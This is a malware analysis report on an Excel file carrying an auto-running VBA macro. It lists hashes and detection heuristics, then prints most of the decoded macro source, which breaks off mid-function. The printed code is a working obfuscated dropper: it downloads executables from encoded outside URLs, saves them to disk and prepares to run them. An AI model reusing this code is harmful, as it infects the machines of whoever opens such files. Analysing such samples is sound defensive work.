Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b337990c3f032e43…

MALICIOUS

Office (OLE)

302.5 KB Created: 2018-05-03 18:24:09 Authoring application: Microsoft Excel First seen: 2020-05-25
MD5: 52714979a666e7d9df011aeea30da2fe SHA-1: 866d9930039ac1cae14d6d9c6abdcf4978e973ef SHA-256: b337990c3f032e43f41bc1fd44440f5a3d5383555d5c47cc2dcfc90b8001d4d3
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Excel file containing obfuscated VBA macros. Critical heuristics indicate the macros are designed to download and execute a second-stage payload using CreateObject and Shell calls. The Workbook_Open event is used as an auto-execution trigger, and the script attempts to obfuscate its functionality. While the exact download URL is obfuscated, the presence of these indicators strongly suggests a downloader or droppper functionality.

Heuristics 8

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (JvWSH), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            wBzKL = QkaLMp.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set QkaLMp = CreateObject(ahaLig("MQiRc rKoNsKobfFtx.(XhMRLqHvTGTlPb"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set QkaLMp = CreateObject(ahaLig("MQiRc rKoNsKobfFtx.(XhMRLqHvTGTlPb"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45839 bytes
SHA-256: 7a4ab41f9717e3396d94df183247bd47caaf922563bef3ae7cbc535b247984ba
Detection
ClamAV: No threats found
Obfuscation or payload: likely
465 of 708 identifiers look randomly generated (e.g. 'DrsQXawguRwpQbchUIBevIQpDuFQZwJjhKu') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Function uQipMa(nYcARo As Double, AectNco As Double, DPDDRIe As Integer, zNdRMTj As String, oQQuee As String) As String
    RQBzqOE = 1489 + 1660 + 281
    EEjkBEBJ = RTrim("y?ssu&jm)E")
    OwvSFnm = Left("!)?YGS(o@$Zv)#?Gdbgc", 2)
    EEjkBEBJ = "IG).#MtAfreZ&!kw" + "KhiTX!y#DJGi_EyOtymw" + "cgRzSHhZdM.nYYl"
    EEjkBEBJ = RTrim("dSM!qdVPG#$U*h")
    OwvSFnm = Left("(R lkAg)kC*)", 4)
    iqsEco = Left("ILNyyGbv?z[?vWWI", 5)
    koQXtsqu = 1229 + 1385 + 1655
    RQBzqOE = RTrim("mWyLDFdSkq^.&jX.!.eS")
    iqsEco = 722 - 170 - 1987
    EEjkBEBJ = RTrim("Yr$^&RZIzcXYYbc$d")
    koQXtsqu = LTrim("LZZwUgD)jxjo Alx-G")
    aNWIMa = RTrim("UoMI*)Adcxxa!O")
    aNWIMa = LTrim("!U_*YtgO-FzQ")
    koQXtsqu = StrReverse("T-kfXYJg-!akKMd@ad[*")
    iqsEco = Space(17)
    For IWWfwm = 0 To 103
        OwvSFnm = StrReverse("RNDkz?ziIdI@Fc.wP?")
        koQXtsqu = Left("XpkeYHxIGTiu)]", 4)
        EEjkBEBJ = Space(5)
        oJNSee = LTrim("iUY#Lz-#SNKNR")
    Next IWWfwm

    koQXtsqu = 1355 - 548 - 737
    VvPMoEon = "BBwD-ltWrWR(!$@" + "IxcLmJ%t%qQJp" + "b[aATCEqiZfjJ-%"
    oJNSee = StrReverse("mVtUn#*?!D")
    koQXtsqu = StrReverse("z)svk_^LL UN")
    VvPMoEon = LTrim("VHwnahc*l]")
    koQXtsqu = Right("LcQG#XL[cEHc", 5)
    oJNSee = LTrim("&OL(UitgV[urBtN%Z")
    aNWIMa = RTrim("]OG^)oV*nLf^iBs)RX")
    iqsEco = 618 - 221 - 258
    VxQEZ = RTrim("WOu[ yV_M(Kp")
    koQXtsqu = Space(1)
    RQBzqOE = StrReverse("w%ZCI]j?xRF R@kwXq")
    uArbI = 895 + 1181 + 1602
    EzWdSK = Space(7)
    uArbI = UCase("WLQ*$O^eDW")
    koQXtsqu = LTrim(" mjb..XZtXqU(@")
    RQBzqOE = UCase("p@_[xUnVeZ#I]V")
    uQipMa = "XdqZzTNWNuHHHDHLelceIPvlxpNcCEDHLQ"
End Function

Private Sub lrSvMX(CwwZky As String, amXGnh As Integer, Gaoznl As Integer, TNTjeV As Boolean)
    EEjkBEBJ = RTrim("jJKjEKHpf[e%)")
    EzWdSK = Left("nr.k#Whw)iiU%%t-O&E%", 5)
    oJNSee = "FuE@gv-mu_SLmqdBu" + "KUs$yN$vPz(w?ry%K@#" + "GJ)EW$aiXQZL@xr"
    While ZiJkwP < 303
        koQXtsqu = StrReverse("TeO@[vJhyBsyW")
        aNWIMa = RTrim("Hk)lKyd!JeMx")
        RQBzqOE = RTrim("oz]!]BCxqwCa")
        koQXtsqu = LTrim("BJ(TldDa(!")
        ZiJkwP = ZiJkwP + 2
    Wend

    uArbI = UCase("qTVvNcApQb@SBKfhSwZx")
    oJNSee = 1454 + 384 + 373
    koQXtsqu = 160 + 1474 + 337
    uArbI = RTrim("KyWCfQHdClt$yRUwZ#X")
    VxQEZ = LTrim("e@^$hMs!fJR")
    uArbI = LTrim(" uDEjl)Ac_LT]llGfw?[")
    RQBzqOE = UCase("mS)aZ$NuM?[fuwH")
    oJNSee = LTrim("%^JRVZMz?pWCl^*Jux&")
    iqsEco = "kUkkerDSgzYL$V(" + "SxBF-NqDCURWOFqFR.zR" + "ZW_y_ArIBMspQd"
    While GkiBvV < 292
        uArbI = 967 + 902 + 1552
        VvPMoEon = UCase("w%EqSQHwxkv")
        EEjkBEBJ = Left("$iaVu])]]kYRVSnGnPrR", 4)
        oJNSee = LTrim("C]s.akJd #]NQ")
        uArbI = Space(3)
        VvPMoEon = "mRx%f@QU^%#UR])F." + "aBara(Xt%_PueY" + "oiz*LwFGR]c[z"
        OwvSFnm = 1806 + 1880 + 257
        VxQEZ = RTrim("bD?LRq?JeYI^ts")
        oJNSee = StrReverse("f*phQpgtk#@Q?zY")
        GkiBvV = GkiBvV + 2
    Wend

    iqsEco = StrReverse("jwey#Z#r.Zno")
    EzWdSK = UCase("FdRMe-ucdiau")
    VxQEZ = 1570 + 1791 + 1976
    oJNSee = 836 - 1514 - 1530
    koQXtsqu = LTrim("WdAG.GV&aT]V%aTU")
    iqsEco = "No_qD!iuL^xLU" + "P@[&-GtiXmfhH*#" + "zGtniMSV@kxjcMekqG"
    OwvSFnm = Right("DMSLMwWK?PU", 4)
    oJNSee = Right("gDK(cgjjb@$mlR", 3)
    EEjkBEBJ = Space(12)
    koQXtsqu = "WQU!ChSTF&GM" + "D$-_Uw??s&x" + "Uyd@jqtw#tMnP("
    RQBzqOE = RTrim("V*!z[wpJHS$.mrDdZ]")
    OwvSFnm = "]magfdy--lN(g(Mk" + "?nQUF-VAczN-q vLk^Sq" + "(xCP_@lSA)?E"
    oJNSee = RTrim("a#boP!ScadlgvqzQqg^J")
    VxQEZ = LTrim("!ALJA$maJZiu(K%ypHw")
End Sub

Private Sub Workbook_Open()
    Dim GhLKYjeu As String
    VvPMoEon = 776 + 551 + 405
    VxQEZ = UCase("?AIwoqENUs_DaBjNbJc")
    EzWdSK = Space(19)
    EEjkBEBJ = RTrim("e-wNZu-]RR")
    While DJSnte < 368
        EEjkBEBJ = LTrim("?nGo!G._LXd(-tKVNyq")
        oJNSee = RTrim("iVG^f_^VYk).?XW$!HAF")
        aNWIMa = 489 + 446 + 593
        VxQEZ = UCase("^y*[UWDGpc?")
        EEjkBEBJ = Right("nvDOJMtZZRStf", 5)
        OwvSFnm = Space(14)
        DJSnte = DJSnte + 1
    Wend

    RQBzqOE = StrReverse("yE@ Y)ek&RNNNGM.")
    koQXtsqu = StrReverse("fn.dD*uXuIQte&A[")
    While XJjzQf < 227
        OwvSFnm = StrReverse("yOOW^Cs]zKB.isW^?")
        EEjkBEBJ = LTrim("!b_pr@QOhUIJFm)_]c")
        aNWIMa = 1267 + 890 + 1686
        XJjzQf = XJjzQf + 1
    Wend

    RQBzqOE = Right("mxxWPBl*YmzkLPUS", 2)
    Dim miuzdiCz As String
    iqsEco = RTrim("AEnQZeKJX&kcq")
    While AgJkAb < 299
        RQBzqOE = 1830 - 907 - 891
        EEjkBEBJ = Right("GY^WFFSTfzCgnchle E", 2)
        iqsEco = 1596 + 724 + 1885
        RQBzqOE = Right("LkxqSgJLME", 3)
        oJNSee = Right("[R_m kn^SEzXF", 2)
        oJNSee = 615 - 1653 - 1494
        AgJkAb = AgJkAb + 3
    Wend

    OwvSFnm = 1789 - 990 - 1159
    For ZUCzpv = 0 To 346
        VvPMoEon = StrReverse("YjXJNU]g-(z? ")
        VxQEZ = 439 + 113 + 1531
    Next ZUCzpv

    RQBzqOE = Left("I![v]BTFo YJ[J&RZZ_J", 5)
    For vpctnQ = 0 To 318
        EEjkBEBJ = UCase("uqZarNv%c#U[&cHua")
        VxQEZ = StrReverse("Tn.PbBuN[?I)[]s")
        VxQEZ = RTrim("w?_V(I-E]aZRtC_")
        EzWdSK = 526 + 971 + 1668
    Next vpctnQ

    EEjkBEBJ = Right("D g%*Q[&[M", 5)
    aNWIMa = UCase("*uTFvEvYkC ze)._uuP")
    uArbI = LTrim("lXkmte((yqb ")
    GhLKYjeu = StrReverse("Je@xJeN.zu_aVpDIMmsVE\^\x%ZpFmQePt-%q GLSLUDoncuJRH_#c&enxZEqlSlteuhNS@,XlzlgdC.I2m3VlGl.eihDsy Ve xDe&.d2h3OlllYdTntu_rM CcW/q veyxqef.BdXm]c")
    VvPMoEon = 1550 + 1096 + 1205
    koQXtsqu = UCase("#YJBnldEkYlGEFWjoNz")
    RQBzqOE = Right("qAh[Ty&vT[qZmXKdBD(C", 4)
    oJNSee = 477 - 1856 - 325
    iqsEco = UCase("sHJt($iA&vXIF_JJb")
    EzWdSK = "rkGPn?QS$(wY.?Vev" + "%&NIf#KmCnASi&" + "VqvrR )i.Xu"
    aNWIMa = Right("Ewnnsp(IlM&#ITjo$*je", 2)
    While FNtHnJ < 319
        EEjkBEBJ = LTrim("h]F#yJLm(#*")
        iqsEco = LTrim("&[rKB^(!Hq*")
        uArbI = "qfQOD-gOtsCe%z" + ")RHgVw@KXU" + "pl%b!bJN^RYVib^TN&li"
        OwvSFnm = Left("^mlOJ^Tw*gu%", 3)
        EzWdSK = Right("Cs[-z&j$zMmnw_kkao", 2)
        iqsEco = Space(3)
        EEjkBEBJ = UCase("xqsMUS-$szDiQ_DDlu&f")
        iqsEco = Left("[q%i!Il cXs$", 4)
        OwvSFnm = Right("OlXfZCUvBkJ!UXiw_D", 4)
        FNtHnJ = FNtHnJ + 2
    Wend

    VvPMoEon = Right("xE%X)pM)nlOxMvcjN#", 2)
    miuzdiCz = StrReverse("Xe#xBen.urne*pSlFehhd\K\A%QpkmWectB%J ]LYLFDknVuJRR_-cke xKETlTlfehhHSs,jlGlFdG.!2s3Mlml[echtsg qewx-ec.x2h3rlUlOd nGujr@ Uc%/] peYxdeE.Fd*mBc")
    oJNSee = LTrim("GW#tqc(#bK]kBWzW")
    aNWIMa = UCase("rtSGepZdmjk")
    While ZiYmpY < 87
        RQBzqOE = LTrim("W]zbhI?!JOtgMzRLKB")
        RQBzqOE = Left("#yOxODXYE)H!", 4)
        koQXtsqu = RTrim("]gxLzfkc^lsLU%")
        aNWIMa = StrReverse("LnB*% vVC.[")
        ZiYmpY = ZiYmpY + 1
    Wend

    uArbI = Space(1)
    For lsGvge = 0 To 38
        RQBzqOE = Right("hMas%DjHnV", 2)
        VxQEZ = LTrim("phNbgkmVSX")
        VxQEZ = StrReverse("qckNdVJ@U#Y")
        EEjkBEBJ = LTrim("(]EdJ(g.[MboA$&TZJ")
        EzWdSK = 1599 - 471 - 805
        iqsEco = Space(19)
        EEjkBEBJ = 211 - 1933 - 1662
    Next lsGvge

    oJNSee = 1603 + 1855 + 817
    EzWdSK = RTrim("^.@A&VE)snew!aubK")
    EzWdSK = Left("_ isrko$#wxn@wE", 4)
    EzWdSK = RTrim("h@YaT[rSsEEY)")
    VvPMoEon = Right("@%K![-y*A&a JoYNdk", 2)
    iqsEco = Left("zfSR$*.)uT%HVDeEj", 3)
    iqsEco = 1775 + 1518 + 1090
    uArbI = LTrim("&yoYS^^ R^C%bT")
    Dim QkaLMp, ZOxIfrO As Object
    koQXtsqu = "gg[mK]piAju" + "ZuAgWLFod#y" + "[dsjPDnb&mbu@"
    EzWdSK = Left("sK%O-STIXY", 5)
    koQXtsqu = RTrim("QeERZX(FSih$]")
    Set QkaLMp = CreateObject(ahaLig("MQiRc rKoNsKobfFtx.(XhMRLqHvTGTlPb"))
    RQBzqOE = RTrim("eI^gVnpYZg")
    OwvSFnm = "hszeU XxL&LsvbMn*qT" + "M&Ee$_SP!BDe_" + "AIn^o%nDOMvQ[QzeHi"
    While msGKYd < 50
        RQBzqOE = StrReverse("FUCpU-z[B(b!f")
        aNWIMa = StrReverse("]ICuCowJGshC.")
        aNWIMa = Left("w)tOLB-MOn-Gbj(", 2)
        msGKYd = msGKYd + 3
    Wend

    ikQJXZV = ahaLig("hHtXtZp%sE:F/i/hrHe_f.o(rjs[aJnocShke)zk.bc!o@mq/OwEp&-KcdoZncthewnMtS/du[pIlToiazdis!/r1V0U.!e x^e$")
    VvPMoEon = 1194 + 1191 + 131
    While eWwceu < 51
        koQXtsqu = StrReverse("ab#_Vxu @hOOkzUePX%w")
        OwvSFnm = RTrim("Z&sIoOcuyoCjLijq")
        VxQEZ = LTrim("!uT& unMZ^i")
        aNWIMa = Left("x)??J@$[ZAOVSZEQtV@V", 5)
        aNWIMa = RTrim("AZiR^TN#f!x%E]")
        EEjkBEBJ = RTrim("[?GSgRpPwKB-ps")
        aNWIMa = RTrim("DZLYTo%GIMGb)VYx")
        EEjkBEBJ = RTrim("a^kbsg?uWw")
        eWwceu = eWwceu + 3
    Wend

    RQBzqOE = Left("a.uUhW-qx*aqq", 3)
    oJNSee = LTrim("DBVDiRdy[g[zADIpQtN")
    QkaLMp.Open "G" & "ET", ikQJXZV, False
    aNWIMa = RTrim("#RE#KTc[Ncb@^")
    RQBzqOE = Left("JX$&OlY&Q_?)Fjp", 3)
    For XSuUOb = 0 To 111
        RQBzqOE = Space(7)
        oJNSee = RTrim("eZi^M?-xTB")
        aNWIMa = Right("F$O#ln&!%EY)FrvjXF", 4)
        EzWdSK = 1902 + 1936 + 633
        EzWdSK = Right("%-@]B!&Hjwv", 3)
        VvPMoEon = Right("-FaF*O]!sJw#[o#)m", 5)
        oJNSee = RTrim("LS$TDJ-T@itUUxI")
        EEjkBEBJ = 1875 + 628 + 1805
        uArbI = 211 + 1438 + 681
        VxQEZ = Right("[d][@TQYinIqqY*e", 5)
    Next XSuUOb

    QkaLMp.send
    oJNSee = UCase("irxL^iW$y&GW")
    EzWdSK = RTrim("$YZXZOKoOev")
    uArbI = RTrim("yqwNSTm$CNzfp.fI[T$ ")
    If QkaLMp.Status = 200 Then
    OwvSFnm = Space(4)
    OwvSFnm = 1132 + 1964 + 773
    EEjkBEBJ = UCase("C.ajfeaD-RZ@DuKd_Q")
    iqsEco = Left("eT!%prPD%G a", 3)
        Set ZOxIfrO = CreateObject(ahaLig("AgDNO$DMBk.TSGtqrFemaHmr"))
    While bBIdrV < 287
        OwvSFnm = RTrim("jsfWpQZPb[Ts)pV.bR")
        aNWIMa = Left(")-DHlqvO[E.", 5)
        EzWdSK = Space(4)
        uArbI = StrReverse("aMAlLAMw#.k]YwpPzfsY")
        EEjkBEBJ = UCase("_c*a^kvqx)$WM")
        iqsEco = 1264 - 875 - 643
        aNWIMa = LTrim("Fpz GKEfejF%IRIjx.B")
        bBIdrV = bBIdrV + 3
    Wend

    oJNSee = LTrim("!ssFd-@-aYUuS")
    iqsEco = UCase("ASzzAv%-Nj")
        ZOxIfrO.Open
    VxQEZ = StrReverse("zvXsMbDGk)(Rc")
    koQXtsqu = StrReverse("Ku[loCFTwZdwYhJBz")
    koQXtsqu = Left("G?%-&Nhgf?ov", 3)
    uArbI = 1016 - 218 - 1553
        ZOxIfrO.Type = 1
    VvPMoEon = 681 - 487 - 1035
    VvPMoEon = Right("Szjr]wg*Iw@tsL]@kjr", 3)
    EzWdSK = UCase("KG-rBJBHlogrVOO*K!")
        wBzKL = QkaLMp.responseBody
    VxQEZ = RTrim("B[d-yy.CpgeuFddN@DPJ")
    OwvSFnm = 1305 - 741 - 1629
    koQXtsqu = UCase("PSbt^*b!gz")
        ZOxIfrO.Write wBzKL
    oJNSee = 966 + 1101 + 1858
    VxQEZ = Left("W?^FqbTyN#]TW]qi", 2)
    VxQEZ = Right("uK(NPTz-DQ [v", 2)
        Dim Whtvn As Object
    iqsEco = StrReverse("g#?[mLwwz_ Ca^ReCbBP")
    EEjkBEBJ = "-! pfI*b^BoX@tnd" + " _tKVU%)lsCTVLce@*k" + "]Di*^PUomUQAV(ZKir&"
    VxQEZ = StrReverse("oOuYfPfkFW[")
        Set Whtvn = CreateObject(ahaLig("s*c?rKiXpMtTiinyg_.ufQiAlZeTseyusmtIe!m o*bKjOe_cQty"))
    EEjkBEBJ = 621 - 1321 - 1705
    oJNSee = StrReverse(".m*hntiwuU?@Lk&b^b(")
    VvPMoEon = "*pJ@K%]pgPeyVGX*ijf" + "fWpWTBAl-F(mT " + "J#V$ gGfG@r#?Dq%"
        goMft = Whtvn.GetSpecialFolder(5 - 3)
    For lWiSXW = 0 To 367
        EEjkBEBJ = "nNAfiSZUW&clmaQCs]S$" + "*PrHB[DECO]tXuD" + "JlFHXC_vKn@s"
        VvPMoEon = 1117 + 1247 + 926
        iqsEco = UCase("[QPsdZj^ht[xt")
        iqsEco = 1369 - 1970 - 392
    Next lWiSXW

    VxQEZ = Space(18)
    EEjkBEBJ = 1402 - 1297 - 1141
    While CjoRjy < 43
        koQXtsqu = Space(10)
        VvPMoEon = LTrim("bpotIdpm*sR")
        CjoRjy = CjoRjy + 1
    Wend

        Call ZOxIfrO.SaveToFile(goMft & "\\" & "VmIpau.exe", 2)
    RQBzqOE = LTrim("kKQ[uXSEN%c@#mV")
    RQBzqOE = 808 - 1741 - 1624
    RQBzqOE = RTrim("lEmWv#dNnAW-Roo")
        QkaLMp.Open "GE" & "T", ahaLig("hwt-t.pC:b/p/)1&0Y7m..1D7P5r.y6J2N.T1G0N4?/ltke%sot?.TbiiVno"), False
    uArbI = Left("*XK[J%HOHN", 3)
    OwvSFnm = Left("Fe^KWxF@_AkiIkPt#aly", 4)
    While YTmsIg < 375
        VvPMoEon = StrReverse("ovGKB]Rf#gDQ*CRL")
        aNWIMa = 1488 + 806 + 728
        RQBzqOE = LTrim("uQenZnLyD^fTmY")
        VxQEZ = LTrim("M%i)* PqNvOR@R")
        OwvSFnm = Left("kWiWpXclucNQ", 2)
        YTmsIg = YTmsIg + 3
    Wend

    While GzqWdf < 158
        RQBzqOE = LTrim("f?jWJfE&ANg")
        uArbI = Left("o%Dn#_YMqBGU^RRLR", 4)
        OwvSFnm = RTrim("wz.zzavu)%ALohRd")
        GzqWdf = GzqWdf + 3
    Wend

        QkaLMp.send
    oJNSee = 700 + 798 + 1075
    koQXtsqu = RTrim("Bnu*RxSJH?")
    VxQEZ = Right("GFD))p]&ZHkvb", 3)
    VvPMoEon = LTrim("vYV$(_D#_a@hb#pBm (C")
        wBzKL = QkaLMp.responseBody
    koQXtsqu = UCase(" usQj%ad _Yb%v#l_-b")
    aNWIMa = Right("es G%oTUKyAz", 5)
    aNWIMa = UCase("J%AYPu?Z_J")
    OwvSFnm = 1991 - 1931 - 117
        ZOxIfrO.Write wBzKL
    EzWdSK = Right("kXXpVyC&_fML$nx U-", 5)
    While hCOwdr < 151
        VvPMoEon = Right("vw!Ek*[#i$^eg@zl ", 3)
        EzWdSK = Left("p((oFxhCEH", 5)
        VxQEZ = Right("BpV!#!orKoGzn%q", 3)
        OwvSFnm = Right("D_R&yN]s%QKm", 2)
        VvPMoEon = UCase("Ak]EErsks&EoY")
        aNWIMa = 561 - 654 - 198
        RQBzqOE = RTrim("pUaqQzxFIqxc.Cy^ANGc")
        VxQEZ = Space(10)
        hCOwdr = hCOwdr + 2
    Wend

    For woFvEa = 0 To 257
        iqsEco = 820 + 1648 + 615
        aNWIMa = StrReverse("Y&tladkiSfj.Xdq")
        oJNSee = Right("q.lndf(LarjRS@mmXD", 3)
        EzWdSK = "$a-KKINPiAK])efsE" + "?E$SkZAsqtD!wUMvXh" + "at?xAdYwV.[QSAzg]^N"
        EzWdSK = Left("dmajPzHD[w[[GEJM#A", 5)
        EEjkBEBJ = 946 + 444 + 954
        uArbI = Right("ATmGKPWer%zX", 3)
    Next woFvEa

        Call ZOxIfrO.SaveToFile(goMft & "\\helper.exe", 2)
    While hAbDrN < 393
        aNWIMa = 1560 + 1613 + 830
        iqsEco = RTrim(".AwlD_vRWvye[tR")
        koQXtsqu = Left("I]RYa-mesYqBLI(Q", 4)
        aNWIMa = UCase("*YZibzGkaLlX@")
        uArbI = Space(16)
        aNWIMa = 304 - 1696 - 1671
        RQBzqOE = "aT[e*)xpBSm&@c" + "WS#K^v.A.l#!" + "&hmVkxGRUtJIvgNgEb"
        VvPMoEon = UCase("f&yGj!fiLEP[#ODC^i(d")
        EEjkBEBJ = LTrim("[w_[yY-%W*^xsy%@Ijx")
        hAbDrN = hAbDrN + 2
    Wend

    VvPMoEon = 1275 - 966 - 1708
    For qSSYfU = 0 To 275
        oJNSee = LTrim("Jfz*b[EIeXwa_BJO")
        VxQEZ = StrReverse("KPjY_sGujSp[zw")
        RQBzqOE = 1728 + 268 + 1111
        VxQEZ = Space(19)
        VvPMoEon = 1382 + 928 + 1091
        koQXtsqu = RTrim("$YeLBx&)onYQXKX ?Rg")
    Next qSSYfU

        ZOxIfrO.Close
    While yXtffq < 71
        VxQEZ = Space(4)
        VxQEZ = UCase("#nDfbgzB!cgI?_wNR")
        EEjkBEBJ = 1808 + 121 + 323
        aNWIMa = 211 - 1097 - 1423
        aNWIMa = LTrim("vnb@pR_)cMGfiT P")
        iqsEco = Right("Dm[MZ![vyrU$$Ro@m", 3)
        aNWIMa = UCase("WHh-dlXWv*ICy W")
        OwvSFnm = StrReverse("t#v)MhHCx*YOplePquN")
        aNWIMa = LTrim("tjoTWmHB?WPk(HGAe")
        yXtffq = yXtffq + 2
    Wend

    EzWdSK = 160 + 755 + 1168
    For PxjZKy = 0 To 174
        oJNSee = Left("QtiGVsgk)A(on", 3)
        VvPMoEon = StrReverse("qzJn*JzJbFP xFrp")
        uArbI = LTrim("@qPcD]&qys^")
    Next PxjZKy

    End If
    RQBzqOE = "r?PLUGuw&^(!U" + "mYBF[wA*egyXGFKKx" + "B%&T(io!Hr)is$U@d"
    EzWdSK = StrReverse("k@vY#ICeJ JF@")
    For bkGaUt = 0 To 116
        koQXtsqu = Right("fBdSITVu?]iyB^H", 2)
        koQXtsqu = UCase("]p$YMyF!I] i")
        iqsEco = 1621 + 1703 + 398
        RQBzqOE = UCase("rdo&vY$iFSN@M^K%dH")
        EzWdSK = 243 + 1546 + 1805
    Next bkGaUt


    For etJmPZ = 0 To 341
        VvPMoEon = 1369 - 834 - 1537
        uArbI = LTrim("bWO*YIo##%i[o_")
    Next etJmPZ

    RQBzqOE = 1955 - 1017 - 292
    For ixxUPv = 0 To 139
        EEjkBEBJ = LTrim("t-lXeYVta]?J(")
        RQBzqOE = StrReverse("g]R?*KFay]cdq#oXO")
    Next ixxUPv


    While JblrU < 792
        While NebKjK < 108
            OwvSFnm = 991 + 772 + 665
            VvPMoEon = 1353 - 308 - 1312
            EzWdSK = RTrim("W.ky(.Xr.n%hrtc?_#*e")
            EzWdSK = Right("JkxoA!yNZNC", 4)
            iqsEco = RTrim("xN!ide*fpAN*rd_pp")
            koQXtsqu = UCase("kCWI))vZ.H&qHcpWB(")
            NebKjK = NebKjK + 3
        Wend

        uArbI = 1570 - 1635 - 1824
        While JYgNwZ < 256
            RQBzqOE = RTrim("Yt%A$rPSO_")
            EzWdSK = LTrim("PKGF[-?_ZMHiFQ")
            EEjkBEBJ = LTrim("@fp Abp%L@kodVM")
            aNWIMa = LTrim("sEJDeQ#ybJ*$tp.p*yYu")
            iqsEco = ".f f$#%BxJY AmJ]b" + "KEycE_R![)]ofpksSs" + "fM-yt$XKYLA&CrU"
            JYgNwZ = JYgNwZ + 1
        Wend

        uArbI = Space(20)
        While klyLxC < 105
            VxQEZ = "cXj%K@p_ZCMF&E" + "E_IIHdfGJbV[" + "R[jjw%XW_gLn*"
            EEjkBEBJ = UCase("OJvsvq@S^QdF")
            koQXtsqu = StrReverse("aKN_DSbeCo")
            VvPMoEon = Space(16)
            iqsEco = StrReverse("q(m%hHYV[DUgviIn)U")
            klyLxC = klyLxC + 2
        Wend

        If JblrU = 150 Then
            iqsEco = RTrim("p[Xb#SR%stfhI@V(iYJ")
            VxQEZ = 184 + 1098 + 923
            Call hSHNVr(ahaLig(GhLKYjeu), "FsvgX", "THlFaW", "oAqyCke", "EKmASM", "EDSUVivX", "KliJCTz")
            RQBzqOE = UCase("TpaKvwIwx(R")
            Call hSHNVr(ahaLig(miuzdiCz), "VqX", "WuC", "AwwSsTz", "fGPKEcBht", "ukk", "gBn")
        End If
    JblrU = JblrU + 1
    Wend
End Sub

Public Function ahaLig(VOOmB As String) As String
koQXtsqu = UCase("(j@?a*?%as")
    Dim lisjPe() As Byte
    For OxWzbz = 0 To 284
        RQBzqOE = UCase("N.kmU*ZYxae^.XS)gtg")
        OwvSFnm = StrReverse("XIPtG)&jbFP")
        VvPMoEon = Space(17)
        EEjkBEBJ = StrReverse("mHAyLwNHkjfG)Ij[HbZ")
        aNWIMa = "Q_NdlS_[xDh!Vu!IXA" + "Zl-AfzeauCf" + "S&ptVgSd^@c^GL"
        koQXtsqu = "X*f#Kxdh(]_p#goGWo" + "PsGuXBo?g[Mz)" + "Ze.cgHN$PlqCeOZk"
        koQXtsqu = RTrim("lPM&&Po&i](n")
        uArbI = Right("I#cK%FJK&l-mq", 5)
        VxQEZ = LTrim("!bZpbVbGgZKhlQ")
    Next OxWzbz
    Dim AWqGNA(512) As Byte
    oJNSee = Right("UPCgU-S*VQV", 2)
    RQBzqOE = RTrim("OMuWNqGuQXzKmLkHCOoj")
    For ZgmQJP = 0 To 89
        EzWdSK = 574 - 1394 - 1508
        iqsEco = Space(20)
        VvPMoEon = Right("XtUlXbbqHc-WwM", 2)
        koQXtsqu = UCase("KF#YA(JNaHwNZPVGK")
        VvPMoEon = "Zf$VP Xg$SYql" + "cErk&&PaO@- wNaa" + "Nrj)QQ(mLigMH[gYyW"
    Next ZgmQJP
    EzWdSK = UCase("?#PJgYKgsL$X!*gw")
    MXyLGxd = 0
    For RamlLP = 0 To 234
        iqsEco = "xyHQnm!OQ@.uzRAe)SL" + "rJpvnFBH$*GV*D" + "FgZVpAvOvqAbK["
        VvPMoEon = StrReverse("gHyOQ#tBoERG")
    Next RamlLP
    While iIOWKM < 183
        VvPMoEon = UCase("h-D]vZ-ng]rFi_uP_kCT")
        VvPMoEon = "LBIk(XjA@vxED^p" + "@-i^IZS P!R" + "G%j@zgaAlMysRDSdc"
        EEjkBEBJ = StrReverse("Vm^I-JTXDAS]vlw^Ks")
        RQBzqOE = StrReverse("[RdW*JsZGLFrb")
        VxQEZ = LTrim("]Ps$stmYsl%")
        iqsEco = StrReverse("NdjmCd%WvZQj_$^K")
        RQBzqOE = UCase("w&fB%hXS(*gpb")
        iqsEco = "J]ZK[yOp_[y" + "*TNJ.sEFxFZ" + "_l.qLeufNLvQTiGkxtp"
        EzWdSK = 1465 - 528 - 969
        iIOWKM = iIOWKM + 3
    Wend
    While UgbnYe < 350
        RQBzqOE = 1353 + 1947 + 834
        aNWIMa = RTrim("iT@nq%Er@#iOp")
        iqsEco = UCase("pNNkZ)LZJ#UFSP-]?f")
        oJNSee = UCase("KD nJ]GFmXjv!-ja[Z")
        RQBzqOE = Left("?adTHD!#Y %jW", 3)
        VvPMoEon = UCase("HLUP&*]tmehp@Grqr")
        uArbI = Left("Z#I.zBM?i(id$&!_m", 5)
        UgbnYe = UgbnYe + 3
    Wend
    uArbI = LTrim("oM.H J@%%bfvG#!JH")
    OwvSFnm = RTrim("u_pU]e]d-a%T")
